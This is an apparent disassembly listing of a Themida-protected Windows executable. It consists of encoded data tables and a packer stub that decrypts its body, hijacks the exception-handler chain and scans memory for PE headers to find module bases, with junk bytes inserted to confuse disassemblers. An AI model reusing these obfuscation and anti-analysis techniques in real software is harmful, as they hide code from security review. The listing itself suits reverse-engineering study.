		dd 0E7C78500h, 77h, 4 dup(0)
		dd 5A2CAF00h, 2	dup(0)
		dd 0FE477800h, 0FFh, 0FFFB1500h, 0FFh, 12FF2000h, 2 dup(0)
		dd 12FFE000h, 4	dup(0)
		dd 58C86C00h, 0
		dd 16050500h, 0Eh dup(0)
		dd 5BEF9D00h, 84968F00h, 8Ch, 0
		dd 57B2F700h, 4	dup(0)
		dd 8400h, 2 dup(548DF500h), 3 dup(0)
		dd 58C32400h, 2	dup(0)
		dd 5BA60800h, 5	dup(0)
		dd 21FFB000h, 1, 0A770AB00h, 0FFh, 5B000000h, 2, 0
		dd 0E101400h, 0C58EC800h, 22h, 6 dup(0)
		dd 7C00h, 0FE03FD00h, 707Fh, 30DF00h, 0Ch dup(0)
		dd 5CF4D100h, 2	dup(0)
		dd 0F5180B00h, 0FFFFFF77h, 0FFh, 2F8D8D00h, 0A223E809h
		dd 7B0F0400h, 9, 5 dup(0)
		dd 0FE030400h, 7Fh, 0FCA36A00h,	0FFh, 8	dup(0)
		dd 7C800h, 40100000h, 4	dup(0)
		dd 5CF4D100h, 0EBA6E900h, 0B20DB977h, 580B8000h, 6 dup(0)
		dd 58002300h, 3	dup(0)
		dd 699600h, 2 dup(0)
		dd 54B9A500h, 3	dup(0)
		dd 0FFA14000h, 0FFh, 0B5868C00h, 0FFh, 481D9500h, 4Fh
		dd 0Ah dup(0)
		dd 59229100h, 2	dup(0)
		dd 0A8D96500h, 0FFh, 0A000h, 0
		dd 0CC00h, 0Ah dup(0)
		dd 59EF5600h, 0B4EBE100h, 0AF000076h, 0F5168D00h, 77h
		dd 4 dup(0)
		dd 0FC060800h, 0FFh, 3 dup(0)
		dd 5BCF2800h, 2	dup(0)
		dd 0A1676F00h, 83h, 56F3E400h, 0E0h, 6 dup(0)
		dd 0E7BE8A00h, 1FDh, 3 dup(0)
		dd 0FF74ED00h, 0FFh, 4 dup(0)
		dd 0CF42D400h, 6, 5 dup(0)
		dd 735CE500h, 88h, 5 dup(0)
		dd 5C97FC00h, 0
		dd 0FE030400h, 7Fh, 3 dup(0)
		dd 8CEB3100h, 1Eh, 9 dup(0)
		dd 0A6703600h, 0FFh, 2Fh dup(0)
		dd 47C31B00h, 0FFFFFF37h, 0FFh,	4 dup(0)
		dd 3400000h, 4 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 0F9A02C00h, 6 dup(0)
		dd 0FE030400h, 7Fh, 0FE59F800h,	9, 4 dup(0)
		dd 583A8600h, 0Ah dup(0)
		dd 1FCFC00h, 80h, 0
		dd 0A1949900h, 12FEF800h, 0
		dd 3C800h, 72EE00h, 23h, 1FCFC00h, 59344280h, 0B800h, 0C00B0000h
		dd 18C20374h, 24448B00h, 0E8530Ch, 5B000000h, 17C381h
		dd 5C890000h, 44891024h, 0B85B1424h, 0A1A037h, 448BE0FFh
		dd 0E0FF0424h, 13h dup(0)
		dd 5CF4D100h, 3	dup(0)
		dd 0A1A00F00h, 5827BA00h, 0A8827F00h, 0FFh, 2 dup(0)
		dd 0E805D800h, 77h, 2Ah	dup(0)
		dd 0DB340800h, 33333347h, 2 dup(33333333h), 33h, 6 dup(0)
		dd 0F5EA9F00h, 57B2DD00h, 5B714E00h, 2 dup(0)
		dd 3D9400h, 5 dup(0)
		dd 35B00h, 2 dup(0)
		dd 12E900h, 0
		dd 8C7ACA00h, 51h, 0A1314500h, 0FE030400h, 7365527Fh, 74726174h
		dd 2E707041h, 657865h, 7 dup(0)
		dd 0A68FF000h, 0FFh, 0B5A09900h, 0B1h, 6 dup(0)
		dd 58E2E700h, 0Bh dup(0)
		dd 5C03FB00h, 8	dup(0)
		dd 9000h, 0F7EBE400h, 13h, 2 dup(0)
		dd 0FE030400h, 7Fh, 0
		dd 5C967300h, 0A5A5E7FEh, 0FE030400h, 7Fh, 22h dup(0)
		dd 0FFF6D600h, 0FFh, 2 dup(0)
		dd 5B4E8100h, 5	dup(0)
		dd 5B5D4B00h, 0Bh dup(0)
		dd 0A169DD00h, 0AC93C100h, 74h,	0A9FCD900h, 5BDF4B7Fh
		dd 7481A200h, 1, 5 dup(0)
		dd 0FE030400h, 7Fh, 8 dup(0)
		dd 5A653200h, 400h, 6A0A3500h, 5484AAFDh, 0Ah dup(0)
		dd 5A10FC00h, 2	dup(0)
		dd 0E7C48600h, 77h, 3 dup(0)
		dd 0D4000000h, 77h, 0
		dd 0CC00h, 3 dup(0)
		dd 100h, 8 dup(0)
		dd 0D7F4B900h, 100051h,	3960EA00h, 5C3A4321h, 444E4957h
		dd 5C53574Fh, 74737953h, 32336D65h, 5644415Ch, 33495041h
		dd 6C642E32h, 6Ch, 39h dup(0)
		dd 92C00h, 4 dup(0)
		dd 7800h, 0Dh dup(0)
		dd 8C00h, 4 dup(0)
		dd 100h, 5 dup(0)
		dd 5CF4D100h, 3	dup(0)
		dd 58002300h, 5B000000h, 0FE030402h, 7Fh, 0
		dd 51DBA200h, 4Dh, 587B9500h, 0
		dd 7BBEC000h, 0D8h, 5 dup(0)
		dd 8800h, 0
		dd 0A0000000h, 0ED011000h, 0FFh, 5811D800h, 84968F00h
		dd 8Ch,	4 dup(0)
		dd 0FF8B1300h, 12FFA4FFh, 2 dup(0)
		dd 58D61200h, 7	dup(0)
		dd 683C00h, 0
		dd 12FFC400h, 3	dup(0)
		dd 0A800h, 4 dup(0)
		dd 400h, 2 dup(0)
		dd 1D01000h, 80h, 3 dup(0)
		dd 0D6000000h, 0FFFFFF96h, 0FFh, 0
		dd 0E75CB500h, 77h, 0CD8D8D00h,	0EBh, 0
		dd 0A000h, 4 dup(0)
		dd 7DF200h, 0
		dd 9C00h, 0AAC14800h, 0DE00037h, 1CA86200h, 0E00Ch, 0
		dd 0C530DF00h, 0A9h, 5 dup(0)
		dd 57F5A200h, 0E7BE8A00h, 0FDh,	5C3A4300h, 6E755F6Dh, 6B636170h
		dd 7265h, 81h dup(0)
		dd 5A243300h, 4	dup(0)
		dd 699600h, 0DFB65D00h,	0B4F12000h, 72h, 0DD5ECC00h, 0FF983A77h
		dd 955D35FFh, 5A000067h, 2, 59DDCF00h, 5 dup(0)
		dd 0A169DD00h, 12h dup(0)
		dd 5CAB8900h, 0F8932F00h, 0A3B134FCh, 6	dup(0)
		dd 8EEC9E00h, 6Fh, 0
		dd 59701000h, 5B5D4B00h, 100000h, 2 dup(0)
		dd 2400h, 0
		dd 8B2400h, 0
		dd 0E7C72600h, 5811D877h, 2 dup(0)
		dd 0A1229200h, 0
		dd 38763400h, 89h, 3 dup(0)
		dd 0D4C96A00h, 77h, 5 dup(0)
		dd 5D000000h, 2, 11h dup(0)
		dd 5AED6500h, 2	dup(0)
		dd 3D9400h, 84968F00h, 8Ch, 8000h, 3 dup(0)
		dd 5857CD00h, 0Fh dup(0)
		dd 12FEF800h, 6	dup(0)
		dd 0F6F10700h, 0FEh, 0FE030400h, 7Fh, 1FCFC00h,	80h, 3 dup(0)
		dd 5B82FF00h, 2	dup(0)
		dd 5CF4D100h, 2	dup(0)
		dd 0E7A5FD00h, 5ADC3677h, 57B57800h, 0
		dd 0FDFFA000h, 0FFh, 12FFF000h,	0
		dd 0A710F500h, 5BCBABFFh, 2 dup(0)
		dd 0DD59F000h, 77h, 3 dup(0)
		dd 0A6335A00h, 0Bh, 59D98800h, 2Ah dup(0)
		dd 5A899700h, 4Fh, 3 dup(0)
		dd 3A000h, 0E2F47A00h, 0FEh, 84h dup(0)
		dd 100h, 4 dup(0)
		dd 57269B00h, 0
		dd 21212100h, 21h, 0F9A02C00h, 0
		dd 0E7A09900h, 83C08B77h, 0BDh,	0
		dd 1FCFC00h, 1DEB80h, 6	dup(0)
		dd 82A82400h, 0Dh dup(0)
		dd 0ACFFAC00h, 13h, 0
		dd offset dword_564300
		dd 3 dup(0)
		dd 0E75CB500h, 77h, 9 dup(0)
		dd 0FE030400h, 7Fh, 0F5125400h,	77h, 0
		dd 0E78B8200h, 0FE030477h, 7Fh,	0
		dd 55597400h, 72EE86h, 23h, 5 dup(0)
		dd 30400h, 0A71A5A00h, 15h, 0Bh	dup(0)
		dd 7852FA00h, 27Eh, 0A39BAC00h,	57B2F700h, 3CA0000h, 0Eh dup(0)
		dd 5A30E400h, 15h dup(0)
		dd 3960EA00h, 21h, 2E0BDD00h, 1Bh, 3 dup(0)
		dd 1C04900h, 0
		dd 548AB500h, 3	dup(0)
		dd 40251000h, 8, 19573E00h, 0B8h, 8CDC2900h, 9Dh, 8 dup(0)
		dd 0BE6C7600h, 0F6h, 5 dup(0)
		dd 0A71B5700h, 0FE0304FFh, 7Fh,	0Ah dup(0)
		dd 40000000h, 5	dup(0)
		dd 5BCBD600h, 7	dup(0)
		dd 5B7F5100h, 0
		dd 71F91800h, 0E6000068h, 77h, 2 dup(0)
		dd 279B7E00h, 0AC5Bh, 2	dup(0)
		dd 0FFFFFE00h, 0FFh, 100h, 5 dup(0)
		dd 5811D800h, 0A170C400h, 2 dup(0)
		dd 65685400h, 6164696Dh, 1Ch dup(0)
		dd 5CF4D100h, 6	dup(0)
		dd 0A4B17F00h, 0FFh, 2 dup(0)
		dd 37E300h, 0
		dd 0E1FFB000h, 1, 2 dup(0)
		dd 0FFFF9400h, 0FFh, 2 dup(0)
		dd 0A1915B00h, 9EC00h, 4001E800h, 0
		dd 0FE030400h, 7Fh, 0
		dd 58D5CF00h, 0
		dd 0E1FFB000h, 72EFAA01h, 0FF10F507h, 0FFh, 0C0985A00h
		dd 0FDh, 2 dup(0)
		dd 1BDA400h, 0
		dd 9800h, 6 dup(0)
		dd 5826FF00h, 7	dup(0)
		dd 2321FE00h, 5A088A47h, 0FE030400h, 7Fh, 0A169DD00h, 3	dup(0)
		dd 8A1EBF00h, 0C530DF79h, 0A9h,	5B3FEF00h, 5C9B6500h, 4	dup(0)
		dd 0FFFFFF00h, 0FFh, 5 dup(0)
		dd 0A1A00F00h, 7D100h, 2 dup(0)
		dd 7E056A00h, 0EBh, 0FE030400h,	7Fh, 0
		dd 4AE3000h, 5Dh, 0
		dd 5BCF2800h, 4	dup(0)
		dd 40000000h, 2	dup(0)
		dd 5D9C0E00h, 0FF74ED67h, 0FFh,	0
		dd 2C115800h, 70h, 59D98800h, 5	dup(0)
		dd 0A18C0A00h, 0
		dd 0FE030400h, 7Fh, 22F70B00h, 2Dh, 0
		dd 5B414B00h, 6	dup(0)
		dd 9EC00h, 10EB00h, 4 dup(0)
		dd 0C50CE800h, 0Dh, 0Ah	dup(0)
		dd 597F5D00h, 32h, 6 dup(0)
		dd 100000h, 3 dup(0)
		dd 0DD189A00h, 77h, 16050500h, 0
		dd 0F5125400h, 57B55077h, 9EC00h, 2 dup(0)
		dd 0A16CB000h, 6B3D1D00h, 3Ch, 3 dup(0)
		dd 0DA4400h, 5960D600h,	3 dup(0)
		dd 0AB0F5D00h, 0B7h, 2 dup(0)
		dd 7B697100h, 73h, 0A00F00h, 0E6D70600h, 77h, 5A653200h
		dd 0Bh dup(0)
		dd 0FF8CF800h, 19FFh, 0FE030400h, 1107Fh, 5D840D00h, 0FFh
		dd 0D4000100h, 77h, 22222200h, 22222222h, 59D96D22h, 3 dup(0)
		dd 0F4B7DD00h, 70h, 3 dup(0)
		dd 40508A00h, 100h, 0
		dd 0D1FFB000h, 4971A101h, 0CBh,	0A12BDE00h, 3 dup(0)
		dd 0A7B79400h, 0FFh, 7 dup(0)
		dd 0A1A00F00h, 0Ch dup(0)
		dd 0B66200h, 0
		dd 5811D800h, 4	dup(0)
		dd 0A2156800h, 0C530DF00h, 0A9h, 2 dup(0)
		dd 5A08E700h, 0
		dd 0ECB8F500h, 2Bh, 3 dup(0)
		dd 5BEF8D00h, 0
		dd 0A15E2E00h, 8 dup(0)
		dd 1372EA00h, 0D8h, 18h	dup(0)
		dd 0D4C96A00h, 77h, 0
		dd 0C800h, 6 dup(0)
		dd 0A18C0A00h, 0
		dd 0A169DD00h, 4 dup(0)
		dd 0A169DD00h, 6C00h, 7	dup(0)
		dd 699600h, 1FCFC00h, 0BC80h, 58C5F800h, 0
		dd 5887D400h, 2	dup(0)
		dd 0B564000h, 2	dup(0)
		dd 36363600h, 5A653236h, 8 dup(0)
		dd 9391EB00h, 40h, 2 dup(0)
		dd 0E733FB00h, 77h, 3 dup(0)
		dd 0FFA14000h, 0E78B82FFh, 0E805D877h, 77h, 4 dup(0)
		dd 42000000h, 0F7E05402h, 94h, 0
		dd 597F5D00h, 32h, 2 dup(0)
		dd 5C837800h, 0
		dd 0E83E6800h, 77h, 0
		dd 28010500h, 0Ah, 0E8276400h, 77h, 2 dup(0)
		dd 0A2315400h, 0
		dd 0A628B200h, 0FFh, 7 dup(0)
		dd 0A0D55400h, 5CF4D100h, 0F52E0F00h, 77h, 4 dup(0)
		dd 0A2D50000h, 0
		dd 3F9E00h, 7 dup(0)
		dd 3580E800h, 5914D3h, 4 dup(0)
		dd 0A16CB000h, 5811EA00h, 0A16CB000h, 3	dup(0)
		dd 3D9400h, 0
		dd 5D08CD00h, 6	dup(0)
		dd offset dword_564300
		dd 400h, 702E6800h, 3Ah, 0
		dd 84968F00h, 8Ch, 9 dup(0)
		dd 4A6B9C00h, 2, 577D8100h, 2 dup(0)
		dd 59344200h, 4	dup(0)
		dd 0FEF5F900h, 0
		dd 0BFFE1800h, 0FFh, 5BCF2800h,	0
		dd 0C530DF00h, 0A9h, 0Fh dup(0)
		dd 0BEB2D000h, 88520954h, 0DEh,	31h dup(0)
		dd 0FFA04800h, 0FFh, 2 dup(0)
		dd 78488000h, 6Ch, 6 dup(0)
		dd 0A58D5300h, 0
		dd 8F725700h, 9, 0
		dd 5A62CC00h, 0A7EE2800h, 0FFh,	9 dup(0)
		dd 9400h, 90D2C800h, 0F5h, 0Eh dup(0)
		dd 6F288000h, 98h, 2 dup(0)
		dd 735CE500h, 0A109F788h, 5BE4A000h, 4 dup(0)
		dd 6200h, 0
		dd 0DD000000h, 77h, 0A00F00h, 4	dup(0)
		dd 0A8D97F00h, 0FFh, 0
		dd 5E5FF100h, 0FFh, 0
		dd 5826FF00h, 6	dup(0)
		dd 52914E00h, 77h, 2 dup(0)
		dd 0E9A9BF00h, 71h, 4 dup(0)
		dd 9727CC00h, 0A413462Ah, 0A3h,	2 dup(0)
		dd 0FE3BAE00h, 7Fh, 3 dup(0)
		dd 30400h, 2 dup(0)
		dd 1A729800h, 57269BA3h, 3 dup(0)
		dd 0C530DF00h, 0A9h, 3 dup(0)
		dd 5811D800h, 2	dup(0)
		dd 5B707600h, 6	dup(0)
		dd 0FF74ED00h, 0FFh, 0
		dd 699600h, 598FF000h, 0E8216800h, 77h,	0
		dd 87B78000h, 93h, 0Ch dup(0)
		dd 59D57100h, 0
		dd 59FFB000h, 14462802h, 2 dup(0)
		dd 9EC00h, 0Ah dup(0)
		dd 0A13E3B00h, 5 dup(0)
		dd 0A5DA7C00h, 0FFh, 2 dup(0)
		dd 9EF33A00h, 1Ah, 0B7E26B00h, 0B0h, 4 dup(0)
		dd 5900D800h, 4	dup(0)
		dd 7FFFFE00h, 0F2B99C5Bh, 75h, 0
		dd 5811D800h, 5	dup(0)
		dd 0B1A1FE00h, 0
		dd 0EF0B00h, 0A71A5A00h, 15h, 0
		dd 46DA4400h, 0C2h, 2 dup(0)
		dd 0FFFFFA00h, 0FFh, 6795E100h,	0FF8076EBh, 0FFh, 0E7CCFD00h
		dd 0C8h, 0
		dd 58E43D00h, 2	dup(0)
		dd 5BFDFC00h, 80h, 0
		dd 0FF74ED00h, 0FFh, 5 dup(0)
		dd 59B03200h, 0
		dd 0A169DD00h, 0Ah dup(0)
		dd 84968F00h, 8Ch, 100h, 3 dup(0)
		dd 0CE0BAD00h, 84968F64h, 8Ch, 2 dup(0)
		dd 200h, 0
		dd 0A1937D00h, 35h, 3 dup(0)
		dd 4A6CB800h, 2, 0FE030400h, 7Fh, 5BBA9300h, 2 dup(0)
		dd 0A2326800h, 0Bh dup(0)
		dd 8B000000h, 59DBDC02h, 0Bh dup(0)
		dd 699600h, 0
		dd 42000800h, 2, 4 dup(0)
		dd 2700h, 14h dup(0)
		dd 0DD23D700h, 0A76E6777h, 0FFh, 6 dup(0)
		dd 699600h, 6 dup(0)
		dd 100h, 2 dup(0)
		dd 0C552BD00h, 6Eh, 12h	dup(0)
		dd 548A1900h, 0Bh dup(0)
		dd 0C000h, 2 dup(0)
		dd 0A5999500h, 2 dup(0)
		dd 0E8061800h, 77h, 7400h, 0
		dd 5B469F00h, 2	dup(0)
		dd 0B8000000h, 0
		dd 200h, 0
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54AF39:				; CODE XREF: start:loc_5479D0j
		mov	eax, ebp
		mov	edx, esp
		pusha
		call	$+5
		pop	ebp
		sub	ebp, 6293573h
		mov	[ebp+6291AF9h],	edx
		mov	[ebp+6291039h],	esi
		mov	[ebp+629202Dh],	eax
		cmp	dword ptr [ebp+6290D5Dh], 0
		jz	short loc_54AF71
		mov	ebp, eax
		mov	esp, edx
		mov	eax, 1
		retn	0Ch
; ---------------------------------------------------------------------------


loc_54AF71:				; CODE XREF: start+69F4Fj
		mov	eax, [esp+40h+var_1C]
		mov	[ebp+6292D3Dh],	eax
		push	45h
		call	sub_54B025
		push	783749Ah
		call	sub_54B06B
		push	0A894B25h
		call	sub_54B06B
		jmp	loc_54B1AF
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 45h
		dd 49484746h, 4D4C4B4Ah, 51504F4Eh, 55545352h, 59585756h
		dd 5D5C5B5Ah, 61605F5Eh, 65646362h, 69686766h, 6D6C6B6Ah
		dd 71706F6Eh, 75747372h, 79787776h, 7D7C7B7Ah, 81807F7Eh
		dd 85848382h, 89888786h, 8D8C8B8Ah, 91908F8Eh, 95949392h
		dd 99989796h, 9D9C9B9Ah, 0A1A09F9Eh, 0A5A4A3A2h, 0A9A8A7A6h
		dd 0ADACABAAh, 0B1B0AFAEh, 0B5B4B3B2h, 0B9B8B7B6h, 0BDBCBBBAh
		dd 0C1C0BFBEh, 0C3C2h, 2 dup(0)
		db 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54B025	proc near		; CODE XREF: start+69F69p

var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		pusha
		call	$+5
		pop	edx
		sub	edx, 6293661h
		mov	ebx, edx
		mov	[ebp+var_28], 0


loc_54B041:				; CODE XREF: sub_54B025+39j
		mov	eax, [ebp+var_28]
		inc	eax
		mov	[ebp+var_28], eax
		cmp	[ebp+var_28], 80h
		jz	short loc_54B060
		mov	eax, [ebp+arg_0]
		mov	[ebx+62935CBh],	eax
		inc	[ebp+arg_0]
		inc	ebx
		jmp	short loc_54B041
; ---------------------------------------------------------------------------


loc_54B060:				; CODE XREF: sub_54B025+2Aj
		mov	[ebp+var_24], eax
		popa
		mov	eax, [ebp+var_24]
		leave
		retn	4
sub_54B025	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_54B06B	proc near		; CODE XREF: start+69F73p start+69F7Dp

var_84		= dword	ptr -84h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFF7Ch
		pusha
		call	$+5
		pop	edx
		sub	edx, 62936AAh
		lea	eax, [ebp+var_80]
		mov	ebx, [ebp+arg_0]
		mov	[ebp+var_84], 0


loc_54B091:				; CODE XREF: sub_54B06B+41j
		mov	ecx, [ebp+var_84]
		rol	ebx, 1
		mov	[eax], bl
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	[ebp+var_84], 80h
		jnz	short loc_54B091
		mov	[ebp+var_84], 0
		lea	edi, [edx+62935CBh]
		lea	esi, [ebp+var_80]


loc_54B0C1:				; CODE XREF: sub_54B06B+83j
		mov	cl, [esi]
		mov	ebx, 1F4h
		mov	eax, 785437ABh


loc_54B0CD:				; CODE XREF: sub_54B06B+69j
		rcl	eax, cl
		mov	cl, [edi]
		rcl	eax, cl
		dec	ebx
		jnz	short loc_54B0CD
		imul	eax, ebx
		inc	edi
		inc	esi
		mov	ecx, [ebp+var_84]
		inc	ecx
		mov	[ebp+var_84], ecx
		cmp	ecx, 80h
		jnz	short loc_54B0C1
		popa
		leave
		retn	4
sub_54B06B	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		mov	esi, [ebp+8]
		mov	dword ptr [ebp-4], 0
		jmp	short loc_54B10B
; ---------------------------------------------------------------------------


loc_54B107:				; CODE XREF: Themida_:0054B10Ej
		inc	dword ptr [ebp-4]
		inc	esi


loc_54B10B:				; CODE XREF: Themida_:0054B105j
		cmp	byte ptr [esi],	0
		jnz	short loc_54B107
		mov	edx, 0
		mov	esi, [ebp+8]
		mov	edi, [ebp+0Ch]
		jmp	short loc_54B19C
; ---------------------------------------------------------------------------


loc_54B11D:				; CODE XREF: Themida_:0054B19Fj
		mov	dword ptr [ebp-8], 0
		jmp	short loc_54B193
; ---------------------------------------------------------------------------


loc_54B126:				; CODE XREF: Themida_:0054B197j
		mov	dword ptr [ebp-10h], 0
		mov	dword ptr [ebp-0Ch], 0
		jmp	short loc_54B180
; ---------------------------------------------------------------------------


loc_54B136:				; CODE XREF: Themida_:0054B184j
		shl	dword ptr [ebp-10h], 4
		mov	eax, [ebp-8]
		shl	eax, 1
		add	eax, edx
		add	eax, [ebp-0Ch]
		xor	ebx, ebx
		mov	bl, [eax+esi]
		cmp	bl, 30h
		jb	short loc_54B158
		cmp	bl, 39h
		ja	short loc_54B158
		sub	bl, 30h
		jmp	short loc_54B17A
; ---------------------------------------------------------------------------


loc_54B158:				; CODE XREF: Themida_:0054B14Cj
					; Themida_:0054B151j
		cmp	bl, 61h
		jb	short loc_54B16A
		cmp	bl, 66h
		ja	short loc_54B16A
		sub	bl, 61h
		add	bl, 0Ah
		jmp	short loc_54B17A
; ---------------------------------------------------------------------------


loc_54B16A:				; CODE XREF: Themida_:0054B15Bj
					; Themida_:0054B160j
		cmp	bl, 41h
		jb	short loc_54B17A
		cmp	bl, 46h
		ja	short loc_54B17A
		sub	bl, 41h
		add	bl, 0Ah


loc_54B17A:				; CODE XREF: Themida_:0054B156j
					; Themida_:0054B168j ...
		add	[ebp-10h], ebx
		inc	dword ptr [ebp-0Ch]


loc_54B180:				; CODE XREF: Themida_:0054B134j
		cmp	dword ptr [ebp-0Ch], 2
		jb	short loc_54B136
		cmp	dword ptr [ebp-10h], 0
		jbe	short loc_54B190
		mov	eax, [ebp-10h]
		stosb


loc_54B190:				; CODE XREF: Themida_:0054B18Aj
		inc	dword ptr [ebp-8]


loc_54B193:				; CODE XREF: Themida_:0054B124j
		cmp	dword ptr [ebp-8], 2
		jb	short loc_54B126
		add	edx, 4


loc_54B19C:				; CODE XREF: Themida_:0054B11Bj
		cmp	edx, [ebp-4]
		jb	loc_54B11D
		mov	al, 0
		stosb
		mov	eax, [ebp-4]
		leave
		retn	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B1AF:				; CODE XREF: start+69F82j
		mov	ecx, 7000h
		lea	edi, [ebp+62937F0h]


loc_54B1BA:				; CODE XREF: start+6A1AAj
		dec	byte ptr [edi]
		inc	edi
		dec	ecx
		jnz	short loc_54B1BA
		mov	eax, 48692121h
		mov	edx, 0F00E1000h
		sub	edx, 0F0000000h
		lea	eax, [ebp+62938EAh]
		push	eax
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		call	$+5
		pop	eax
		jmp	loc_54B1F9
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 16DFBAEFh, 0FFF222B7h
		db 2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B1F9:				; CODE XREF: start+6A1D7j
		jmp	loc_54B212
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0C959h
		dd 0A86AE916h, 9317482Fh, 7119BEA8h, 8E8C9684h
		db 67h,	8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B212:				; CODE XREF: start:loc_54B1F9j
		sub	eax, edx
		adc	bh, 0E4h
		and	eax, 0FFFFF000h
		sbb	bx, 88E1h
		jmp	loc_54B22D
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 0FC40h
		dd 0AA81EEE5h
		db 68h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B22D:				; CODE XREF: start+6A20Dj
		mov	ecx, edx
		xor	edi, edi


loc_54B231:				; CODE XREF: start+6A238j
		cmp	word ptr [eax],	5A4Dh
		jnz	short loc_54B246
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		cmp	dword ptr [edx], 4550h
		jz	short loc_54B24E


loc_54B246:				; CODE XREF: start+6A222j
		sub	eax, 1000h
		inc	edi
		jmp	short loc_54B231
; ---------------------------------------------------------------------------


loc_54B24E:				; CODE XREF: start+6A230j
		pop	large dword ptr	fs:0
		add	esp, 4
		lea	edx, [ebp+62938FDh]
		push	edx
		push	large dword ptr	fs:0
		mov	large fs:0, esp
		add	eax, ecx
		sub	eax, 1000h
		mov	esi, [eax+4]
		and	esi, 0FFFF0000h
		cmp	esi, 80000000h
		jbe	short loc_54B288
		mov	esi, [eax+1Ch]


loc_54B288:				; CODE XREF: start+6A26Fj
		xor	eax, eax


loc_54B28A:				; CODE XREF: start+6A289j
		cmp	eax, 32h
		jz	short loc_54B2AE
		cmp	word ptr [esi],	5A4Dh
		jz	short loc_54B29F


loc_54B296:				; CODE XREF: start+6A298j
		sub	esi, 10000h
		inc	eax
		jmp	short loc_54B28A
; ---------------------------------------------------------------------------


loc_54B29F:				; CODE XREF: start+6A280j
		mov	edi, [esi+3Ch]
		add	edi, esi
		cmp	dword ptr [edi], 4550h
		jz	short loc_54B2F0
		jmp	short loc_54B296
; ---------------------------------------------------------------------------


loc_54B2AE:				; CODE XREF: start+6A279j
		pop	large dword ptr	fs:0
		add	esp, 4
		popa
		retn
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 8B51h
		dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h
		dd 0
		dd 8ED815Dh, 8D062939h,	2938C685h, 0B8818906h, 5D000000h
		dd 0C3C03359h
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B2F0:				; CODE XREF: start+6A296j
		xchg	eax, esi
		pop	large dword ptr	fs:0
		add	esp, 4
		mov	ebx, eax
		jmp	loc_54B30F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dw 5C4Fh
		dd 591D7424h, 80AFF9EFh
		db 6Ah,	9, 5Fh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B30F:				; CODE XREF: start+6A2E9j
		mov	cx, ds
		mov	ebx, esi
		and	cl, 4
		mov	bx, 7E3Ch
		jl	loc_54B326
		mov	ebx, 29ABF93Dh


loc_54B326:				; CODE XREF: start+6A307j
		or	cl, cl
		jnz	loc_54B34B
		pusha
		add	di, 7516h
		cld
		popa
		mov	dword ptr [ebp+6291A29h], 1
		movsx	ebx, dx
		jmp	loc_54B35C
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0DEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B34B:				; CODE XREF: start+6A314j
		mov	dword ptr [ebp+6291A29h], 0
		stc
		or	ebx, 50334D03h


loc_54B35C:				; CODE XREF: start+6A32Fj
		mov	[ebp+6292639h],	eax
		mov	ebx, 181AC006h
		jmp	loc_54B376
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		dd 0A661A1BBh, 2EBE3779h
		db 0FEh, 0BEh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_54B376:				; CODE XREF: start+6A353j
		mov	[ebp+6291A99h],	eax
		call	near ptr loc_54B389+1
		adc	[ecx+ebx*2-68h], cl
		out	dx, al
		db	3Eh
		mov	al, 0F4h


loc_54B389:				; CODE XREF: start+6A368p
		push	59A2EF80h
		jge	loc_54B397
		movsx	edi, di


loc_54B397:				; CODE XREF: start+6A37Aj
		add	ecx, 6718h
		call	near ptr loc_54B3AB+2
		xor	al, 9Ch
		and	bl, [ecx]
		or	eax, 33699306h


loc_54B3AB:				; CODE XREF: start+6A389p
		shr	byte ptr [edi+685FFE8Ah], 1
		mov	[ecx], bl
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
		db 0
		dd 6E900h, 0BB4E0000h, 0F810A070h, 10E858h, 0E3290000h
		dd 60F61735h, 9FA87A3Fh, 47170C9Fh, 6E8D0F6h, 50000000h
		dd 531DF64Ah, 807DBE71h, 5B5F51EEh, 820F31FFh, 3, 5AFE8B66h
		dd 3612CE81h, 0F2810B9Bh, 5A20C9Fh, 8335F281h, 0BE92F7Dh
		dd 87000000h, 10CB5C84h, 45245BBDh, 0F2810A98h,	0B8213ABh
		dd 6E8h, 88DBCA00h, 66167B6Bh, 5B38A3BEh, 0E8018F52h, 13h
		dd 0B718EAC0h, 38C76BE4h, 0E534C536h, 333E4396h, 0E8A8573Fh
		dd 0Fh,	9E14ADA9h, 29176EA1h, 0DD507A17h, 813FA587h, 52CBF7CEh
		dd 835F5B7Bh, 41BB02E9h, 494B40E9h, 860F49h, 83000000h
		dd 850F01E8h, 0FFFFFF6Ch, 0FE8F8h, 8BBE0000h, 0FB5EE79Dh
